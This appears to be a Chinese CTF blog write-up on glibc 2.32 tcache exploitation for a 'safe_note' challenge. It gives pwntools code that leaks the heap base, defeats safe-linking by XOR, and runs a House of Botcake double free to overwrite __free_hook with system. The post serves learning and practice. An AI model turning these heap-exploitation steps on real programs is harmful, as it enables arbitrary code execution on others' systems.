pwn

tcache题的亿点点细节

Posted by Sagiring on 2023-03-21
Estimated Reading Time 2 Minutes
Words 452 In Total
Viewed Times

tcache题的亿点点细节

复现safe_note ->hgame/week3

glibc版本2.32

写函数sendline与send一定要确定

避免出现一些难以排查的bug,不要随便Copy....

def edit_note(page , content):
    r.sendlineafter(b'Exit',b'3')
    r.sendlineafter(b'Index:', str(page).encode())
    r.sendafter(b'Content:' , content)

写堆题的函数sendlineafter的after的参数一定要接到末尾

对比:

    r.sendlineafter(b'Index: ', str(page).encode()) #多空格
    r.sendlineafter(b'Index:', str(page).encode())  #少空格

对后面的recv()影响挺大 (至少很影响心情)

对于glibc版本2.32 Tcache 链表next指针PROTECT_PTR加密

PROTECT_PTR:对heap的基地址 tcacha[0] 与next指针进行异或

方法

show_note(0)#泄露tcacha的基地址 UAF
heap=u64(r.recv(5)+b'\x00\x00\x00') #调试发现recv(6)多一个\n
edit_note(6,p64(free_hook ^ heap)) #异或操作 UAF 写fd
print(f'heap = {hex(heap)}')
print(f'free_hook ^ heap = {hex(free_hook ^ heap)}')

然后再申请两次就可以劫持free_hook

House Of Botcake

这里再复习一下思路 #House of botcake (glibc > 2.25 且 UAF)

...#House of botcake (glibc > 2.25 且 UAF)
delete(8)#将chunk8进入unsorted bin中
delete(7) #将chunk7进入unsorted bin中 与8合并 与8合并但是7开头
add(10,0x80,b'0') #将tcache bin中腾出空间
delete(8) #将chunk8 加入tcache中 doublefree
add(11,0xff,b'\x00'*0x80+p64(0)+p64(0x91)+p64(libc.sym['__free_hook'])+b'\x00'*7) #申请一个稍大一些的指针
#写入到Tcache next中 通过 x /20gx 7_addr + 大小来查看推算 (大小 + 0 + size + fd)
#将tcache中next指针变为free hook
add(12,0x80,b'/bin/sh\x00')
add(13,0x80,p64(system_addr))#写system到free_hook
#delete 12 触发free_hook

即利用unsorted bin与tcache doublefree 后堆块重叠,申请出unsorted bin中的大堆块写还在free_chunk中的小堆块,再申请小堆块任意写。